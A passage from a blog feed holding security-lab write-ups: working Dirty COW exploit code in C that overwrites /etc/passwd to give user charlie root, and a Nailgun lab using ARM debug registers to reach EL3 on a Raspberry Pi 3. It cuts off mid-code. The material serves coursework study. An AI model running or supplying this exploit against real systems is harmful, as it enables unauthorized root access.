class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* cow_attack.c (the main thread) */</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/mman.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;pthread.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="type">void</span> *<span class="built_in">map</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span>;</span><br><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span>;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc,<span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">pthread_t</span> pth1,pth2;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span></span><br><span class="line">    <span class="type">int</span> file_size;</span><br><span class="line">    <span class="comment">// Open the target file in the read-only mode.</span></span><br><span class="line">    <span class="type">int</span> f = open(<span class="string">&quot;/zzz&quot;</span>, O_RDONLY);</span><br><span class="line">    <span class="comment">// Map the file to COW memory using MAP_PRIVATE.</span></span><br><span class="line">    fstat(f, &amp;st);</span><br><span class="line">    file_size = st.st_size;</span><br><span class="line">    <span class="built_in">map</span> = mmap(<span class="literal">NULL</span>, file_size, PROT_READ, MAP_PRIVATE, f, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// Find the position of the target area</span></span><br><span class="line">    <span class="type">char</span> *position = <span class="built_in">strstr</span>(<span class="built_in">map</span>,<span class="string">&quot;222222&quot;</span>);</span><br><span class="line">    <span class="comment">// We have to do the attack using two threads.</span></span><br><span class="line">    pthread_create(&amp;pth1, <span class="literal">NULL</span>, madviseThread, (<span class="type">void</span> *)file_size);</span><br><span class="line">    pthread_create(&amp;pth2, <span class="literal">NULL</span>, writeThread, position);</span><br><span class="line">    <span class="comment">//Wait for the threads to finish.</span></span><br><span class="line">    pthread_join(pth1,<span class="literal">NULL</span>);</span><br><span class="line">    pthread_join(pth2,<span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>mmap: Maps a file or device into memory, allowing the file’s contentsto be accessed like an array in virtual memory.</p><ul><li>1st arg: Starting address for the mapped memory (usually set to NULLto let the kernel choose)<br /></li><li>2nd arg: Size of the mapped memory (in bytes, typicallypage-aligned)<br /></li><li>3rd arg: If the memory is readable or writable (PROT_READ,PROT_WRITE, etc.)<br /></li><li>4th arg: If updates are shared with other processes or kept private(MAP_SHARED or MAP_PRIVATE)<br /></li><li>5th arg: File that needs to be mapped (file descriptor fromopen)<br /></li><li>6th arg: Offset indicating from where inside the file the mappingshould start (must be page-aligned)</li></ul><h3 id="set-up-the-write-thread">3. Set Up the write Thread</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> *content = <span class="string">&quot;******&quot;</span>;</span><br><span class="line">    <span class="type">off_t</span> offset = (<span class="type">off_t</span>)arg;</span><br><span class="line">    <span class="type">int</span> f = open(<span class="string">&quot;/proc/self/mem&quot;</span>, O_RDWR);</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        <span class="comment">// Move the file pointer to the corresponding position.</span></span><br><span class="line">        lseek(f, offset, SEEK_SET);</span><br><span class="line">        <span class="comment">// Write to the memory.</span></span><br><span class="line">        write(f, content, <span class="built_in">strlen</span>(content));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="the-madvise-thread">4. The madvise Thread</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> file_size = (<span class="type">int</span>)arg;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        madvise(<span class="built_in">map</span>, file_size, MADV_DONTNEED);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>madvise: Provides advice to the kernel about how a specific memoryregion will be used, allowing the kernel to optimize memoryhandling.</p><ul><li>1st arg: Starting address of the memory region<br /></li><li>2nd arg: Size of the memory region (in bytes)<br /></li><li>3rd arg: Advice hint for how the memory will be used (e.g.,MADV_NORMAL, MADV_SEQUENTIAL, MADV_DONTNEED)</li></ul><p><strong>MADV_DONTNEED: The data in the specified memory range is nolonger needed. The kernel can discard the pages;</strong></p><h3 id="launch-the-attack">5. Launch the Attack</h3><p><img src="/2025/11/Dirty-COW-Attack/t1_2.png" /></p><p>We are able to see a modified <code>/zzz</code> file</p><h2 id="task-2-modify-the-password-file-to-gain-the-root-privilege">Task2: Modify the Password File to Gain the Root Privilege</h2><p>We create a new account called charlie, and we will turn this normaluser into root using the Dirty COW attack. Adding a new account can beachieved using the adduser command. After the account is created, a newrecord will be added to /etc/passwd. See the following</p><p><img src="/2025/11/Dirty-COW-Attack/t2_1.png" /></p><p>The main thread <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;pthread.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="type">void</span> *<span class="built_in">map</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span>;</span><br><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span>;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">pthread_t</span> pth1,pth2;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span></span><br><span class="line">    <span class="type">int</span> file_size;</span><br><span class="line">    <span class="comment">// Open the /etc/passwd in the read-only mode.</span></span><br><span class="line">    <span class="type">int</span> f = open(<span class="string">&quot;/etc/passwd&quot;</span>, O_RDONLY);</span><br><span class="line">    <span class="comment">// Map the file to COW memory using MAP_PRIVATE.</span></span><br><span class="line">    fstat(f, &amp;st);</span><br><span class="line">    file_size = st.st_size;</span><br><span class="line">    <span class="built_in">map</span> = mmap(<span class="literal">NULL</span>, file_size, PROT_READ, MAP_PRIVATE, f, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// Find the position of the target area(charlie:x:1001 -&gt; charlie:x:0000)</span></span><br><span class="line">    <span class="type">char</span> *position = <span class="built_in">strstr</span>(<span class="built_in">map</span>,<span class="string">&quot;charlie:x:1001&quot;</span>);</span><br><span class="line">    <span class="comment">// We have to do the attack using two threads.</span></span><br><span class="line">    pthread_create(&amp;pth1, <span class="literal">NULL</span>, madviseThread, (<span class="type">void</span> *)file_size);</span><br><span class="line">    pthread_create(&amp;pth2, <span class="literal">NULL</span>, writeThread, position);</span><br><span class="line">    <span class="comment">//Wait for the threads to finish.</span></span><br><span class="line">    pthread_join(pth1, <span class="literal">NULL</span>);</span><br><span class="line">    pthread_join(pth2, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>The write Thread <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> *content = <span class="string">&quot;charlie:x:0000&quot;</span>;  <span class="comment">//set the charlie&#x27;s id to 0(root)</span></span><br><span class="line">    <span class="type">off_t</span> offset = (<span class="type">off_t</span>) arg;</span><br><span class="line">    <span class="type">int</span> f = open(<span class="string">&quot;/proc/self/mem&quot;</span>, O_RDWR);</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        <span class="comment">// Move the file pointer to the corresponding position.</span></span><br><span class="line">        lseek(f, offset, SEEK_SET);</span><br><span class="line">        <span class="comment">// Write to the memory.</span></span><br><span class="line">        write(f, content, <span class="built_in">strlen</span>(content));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>The madvise Thread <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> file_size = (<span class="type">int</span>)arg;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        madvise(<span class="built_in">map</span>,file_size, MADV_DONTNEED);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>After compile the <code>cow_attack.c</code> with <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc cow_attack.c -lpthread</span><br></pre></td></tr></table></figure></p><p>We run the <code>a.out</code> and press Ctrl-C after a fewseconds</p><p><img src="/2025/11/Dirty-COW-Attack/t2_2.png" /></p><p>If we switch user to charlie, we are able to see the root shell. Ifyou run the id command, you should be able to see that you have gainedthe root privilege.</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;task-1-modify-a-dummy-read-only-file&quot;&gt;Task 1: Modify a Dummy
Read-Only File&lt;/h2&gt;
&lt;h3 id=&quot;create-a-dummy-file&quot;&gt;1. create a dummy file&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/2025/11/Dirty-COW-Attack/t1_1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;we can see that if we try to write to this file as a normal user, we
will fail, because the file is only readable to normal users.&lt;/p&gt;</summary>
    
    
    
    <category term="Computer Science" scheme="https://blog.qirenova.com/categories/Computer-Science/"/>
    
    
    <category term="Security" scheme="https://blog.qirenova.com/tags/Security/"/>
    
    <category term="Linux" scheme="https://blog.qirenova.com/tags/Linux/"/>
    
    <category term="Attack" scheme="https://blog.qirenova.com/tags/Attack/"/>
    
  </entry>
  
  <entry>
    <title>Nailgun Attack Lab Analysis</title>
    <link href="https://blog.qirenova.com/2025/11/Nailgun-Attack-Lab-Analysis/"/>
    <id>https://blog.qirenova.com/2025/11/Nailgun-Attack-Lab-Analysis/</id>
    <published>2025-11-26T10:00:00.000Z</published>
    <updated>2026-01-27T04:08:44.778Z</updated>
    
    <content type="html"><![CDATA[<h5 id="task-1-create-and-install-a-kernel-module">Task 1: Create andInstall a Kernel Module</h5><p>simple_module.c</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* simple_module.c */</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/init.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/io.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">simple_module_init</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(<span class="string">&quot;Helloworld.\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> *The cleanup function of the module.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> __exit <span class="title function_">simple_module_exit</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        printk(KERN_INFO<span class="string">&quot;Exit.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">module_init(simple_module_init);</span><br><span class="line">module_exit(simple_module_exit);</span><br><span class="line"></span><br></pre></td></tr></table></figure><span id="more"></span><p>Makefile</p><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">obj-m += simple_module.o</span><br><span class="line"></span><br><span class="line"><span class="section">all:</span></span><br><span class="line">        make -C /lib/modules/<span class="variable">$(<span class="built_in">shell</span> uname -r)</span>/build M=<span class="variable">$(PWD)</span> modules</span><br><span class="line"></span><br><span class="line"><span class="section">clean:</span></span><br><span class="line">        make -C /lib/modules/<span class="variable">$(<span class="built_in">shell</span> uname -r)</span>/build M=<span class="variable">$(PWD)</span> clean</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t1_2.png" /></p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t1.png" /></p><blockquote><p>Question 1 : What is the <strong>exception level</strong> and the<strong>security state</strong> of the core with loaded LKM?</p></blockquote><p>The core runs at <strong>Exception Level 1 (EL1)</strong> and in the<strong>Non-secure (Normal World)</strong> security state when the LKMis loaded.</p><h5 id="task-2-directly-access-a-high-privilege-register-scr">Task 2:Directly Access a High Privilege Register: SCR</h5><p><img src="accessing_scr_aarch32.png" /></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* simple_module.c */</span></span><br><span class="line">...</span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">simple_module_init</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">        <span class="type">uint32_t</span> reg;</span><br><span class="line">        <span class="keyword">asm</span> <span class="title function_">volatile</span><span class="params">(<span class="string">&quot;mrc p15, 0, %0, c1, c1, 0&quot;</span>:<span class="string">&quot;=r&quot;</span>(reg))</span>;</span><br><span class="line">        printk(KERN_INFO <span class="string">&quot;SCR %x.\n&quot;</span>, reg);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><blockquote><p>Task 2.a : What is the complete instruction? Look up the manual andfill the instruction bellow. Then compile and execute.</p></blockquote><p>complete instruction:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mrc p15, 0, &lt;Rt&gt;, c1, c1, 0</span><br></pre></td></tr></table></figure><p>compile</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t2_1.png" /></p><p>try to install this kernel module</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t2_2.png" /></p><p>A segmentation fault occurs.</p><blockquote><p>Task 2.b : Why the segmentation fault occurs?</p></blockquote><p>The segmentation fault occurs because the kernel module executes aprivileged instruction that is not allowed in the current processormode.</p><p>Specifically, the inline assembly instruction</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mrc p15, 0, &lt;Rt&gt;, c1, c1, 0</span><br></pre></td></tr></table></figure><p>tries to access the Secure Configuration Register (SCR), whichbelongs to the <strong>secure world</strong>.</p><p>However, the Linux kernel runs in the <strong>non-secure world atEL1</strong>.</p><h5 id="task-3-read-the-debug-authentication-signal">Task 3: Read theDebug Authentication Signal</h5><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t3_3.png" /></p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t3_1.png" /></p><blockquote><p>Task 3.a: What is the instruction to read DBGAUTHSTATUS?</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mrc p14, 0, &lt;Rt&gt;, c7, c14, 6</span><br></pre></td></tr></table></figure><p>dbgauth_module.c</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* dbgauth_module.c */</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/init.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/io.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> __init <span class="title function_">dbgauth_init</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">        <span class="type">uint32_t</span> reg;</span><br><span class="line">        printk(KERN_INFO<span class="string">&quot;dbgauth_module: init - attempt to read DBGAUTHSTATUS\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* 读取 DBGAUTHSTATUS:</span></span><br><span class="line"><span class="comment">         * MRC p14, 0, &lt;Rt&gt;, c7, c14, 6</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="keyword">asm</span> <span class="title function_">volatile</span><span class="params">(<span class="string">&quot;mrc p14, 0, %0, c7, c14, 6&quot;</span> : <span class="string">&quot;=r&quot;</span>(reg))</span>;</span><br><span class="line">        printk(KERN_INFO<span class="string">&quot;dbgauth_module: DBGAUTHSTATUS = 0x%08x\n&quot;</span>, reg);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> __exit <span class="title function_">dbgauth_exit</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">        printk(KERN_INFO <span class="string">&quot;dbgauth_module: exit\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(dbgauth_init);</span><br><span class="line">module_exit(dbgauth_exit);</span><br></pre></td></tr></table></figure><p>We can get DBGAUTHSTATUS after installing this kernel module</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t3_2.png" /></p><blockquote><p>Task 3.b : What kind of debug events are enabled?</p></blockquote><table><thead><tr class="header"><th>Field</th><th>Bits</th><th>Value</th><th>Meaning</th></tr></thead><tbody><tr class="odd"><td>SNID</td><td>7–6</td><td>11</td><td>Secure Non-invasive debug enabled</td></tr><tr class="even"><td>SID</td><td>5–4</td><td>11</td><td>Secure Invasive debug enabled</td></tr><tr class="odd"><td>NSNID</td><td>3–2</td><td>11</td><td>Non-secure Non-invasive debug enabled</td></tr><tr class="even"><td>NSID</td><td>1–0</td><td>11</td><td>Non-secure Invasive debug enable</td></tr></tbody></table><h5 id="task-4-enable-the-halting-debug">Task 4: Enable the HaltingDebug</h5><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t4_1.png" /></p><p>We can find that <code>EDLAR_OFFSET=0xFB0</code></p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t4_3.png" /></p><p>Write the key value to unlock</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">iowrite32(<span class="number">0xC5ACCE55</span>, param-&gt;debug_register + EDLAR_OFFSET);</span><br><span class="line">iowrite32(<span class="number">0xC5ACCE55</span>, param-&gt;cti_register + EDLAR_OFFSET);</span><br></pre></td></tr></table></figure><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t4_2.png" /></p><p>We can find that <code>OSLAR_OFFSET=0x300</code></p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t4_4.png" /></p><p>Writing 0 to the <code>OSLK</code> bit unlocks the OS,</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">iowrite32(<span class="number">0</span>, param-&gt;debug_register + OSLAR_OFFSET);</span><br><span class="line">iowrite32(<span class="number">0</span>, param-&gt;cti_register + OSLAR_OFFSET);</span><br></pre></td></tr></table></figure><h5 id="task-5-switch-to-the-el3-and-read-the-scr">Task 5: Switch to theEL3 and read the SCR</h5><p>​ Task5.a: We mention how to access SCR directly in Task2. You need toprepare an instruction, who reads SCR and store it to R1. Then convertit to machine code(do it on yourself) and execute it on the target.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mrc p15,0,R1,c1,c1,0</span><br></pre></td></tr></table></figure><p>use <ahref="http://shell-storm.org/online/Online-Assembler-and-Disassembler/">OnlineAssembler and Disassembler</a> to assemble this instruction. It yields<code>\x11\x1f\x11\xee</code> (Little Endian).</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/T5_a.png" /></p><blockquote><p>Note: In <strong>EDITR</strong>, <code>hw2</code> (bits [31:16]) isthe second halfword and <code>hw1</code> (bits [15:0]) is the firsthalfword of the T32 instruction. They are displayed in a nonstandardorder (hw2 on the left, hw1 on the right).</p></blockquote><p>In terms of a 32-bit value for C code execution:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 0xee111f11 &lt;=&gt; mrc p15,0,R1,c1,c1,0</span></span><br><span class="line">execute_ins_via_itr(param-&gt;debug_register, <span class="number">0x1f11ee11</span>);</span><br></pre></td></tr></table></figure><p>​ Task 5.b: After you finish Task 5.a , you need to transfer the valuein R1 on core0, to the local variable scr. It will be printed later.DBGDTRTXint and DBGDTRTX would be helpful in your implementation</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t5_b.png" /></p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t5_b_2.png" /></p><p><strong>DBGDTRTXint</strong> is a 32-bit debug register that allowsthe processor to transfer data to an external debugger. It is accessedusing the <strong>MCR instruction</strong>, for example:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MCR p14, 0, Rt, c0, c5, 0</span><br></pre></td></tr></table></figure><p>In terms of a 32-bit value for C code execution:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ee001e15 &lt;=&gt; mcr p14,0,R1,c0,c5,0</span></span><br><span class="line">execute_ins_via_itr(param-&gt;debug_register, <span class="number">0x1e15ee00</span>);</span><br></pre></td></tr></table></figure><p>Register DBGDTRTXint bits [31:0] are architecturally mapped toDBGDTRTX_EL0[31:0].</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scr = ioread32(param-&gt;debug_register + DBGDTRTX_OFFSET);</span><br></pre></td></tr></table></figure><h5 id="task-6-restore-the-context-and-exit">Task 6: Restore the Contextand Exit</h5><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t6.png" /></p><p>The value of SCR is<code>0x00000131</code>(<code>0b100110001</code>)</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/t6_2.png" /></p><p><strong>Key meanings of SCR = 0x131</strong></p><ul><li><p>PE is in Non-secure state.</p></li><li><p>An FIQ taken from either Security state is masked by PSTATE.F.When PSTATE.F is 0, the FIQ is taken to EL3.</p></li><li><p>External aborts taken from either Security state are masked byPSTATE.A. When PSTATE.A is 0, the abort is taken to EL3.</p></li><li><p>HVC instructions are enabled at Non-secure EL1 and EL2.</p></li></ul><h5 id="question-1">Question 1:</h5><p>During this lab, what is the base address of Cross Trigger Interfacein Raspberry Pi 3? Can your find the global address of CTICONTROLregister in Raspberry Pi 3 according to the Arm Reference Manual? Answerthe address value and show your calculation. (hint: Find the offset)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 0x40038000 is the base address of the cross trigger interface registers on Core 0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CTI_REGISTER_ADDR 0x40038000</span></span><br></pre></td></tr></table></figure><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/q1.png" /></p><p>The global address of the <strong>CTICONTROL</strong> register iscalculated as:</p><p><span class="math display">$$\begin{aligned} \text{Global Address} &amp;= \text{Base Address} +\text{Offset} \\ &amp;= 0\text{x}40038000 + 0\text{x}0 \\ &amp;=\mathbf{0\text{x}40038000} \end{aligned}$$</span></p><p>Therefore, the <strong>CTICONTROL register is located at address0x40038000.</strong></p><h5 id="question-2">Question 2:</h5><p>Do we have another way to unlock the OS Lock in this lab exceptmemory mapping? If yes, how to do that? Justify your answer.</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/q2.png" /></p><p>Extract Step 1 (the part that unlocks debug and cross-triggerregisters) from the <code>read_scr()</code> function, and modify it sothat instead of unlocking the OS Lock, it <strong>locks</strong> it.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">read_scr1</span><span class="params">(<span class="type">void</span> *addr)</span>&#123;</span><br><span class="line">    <span class="comment">// Step 1: Unlock debug and cross trigger reigsters</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">nailgun_param</span> *<span class="title">param</span> =</span> (<span class="keyword">struct</span> nailgun_param*)addr;</span><br><span class="line">    printk(KERN_INFO<span class="string">&quot;Step 1: Unlock debug and cross trigger 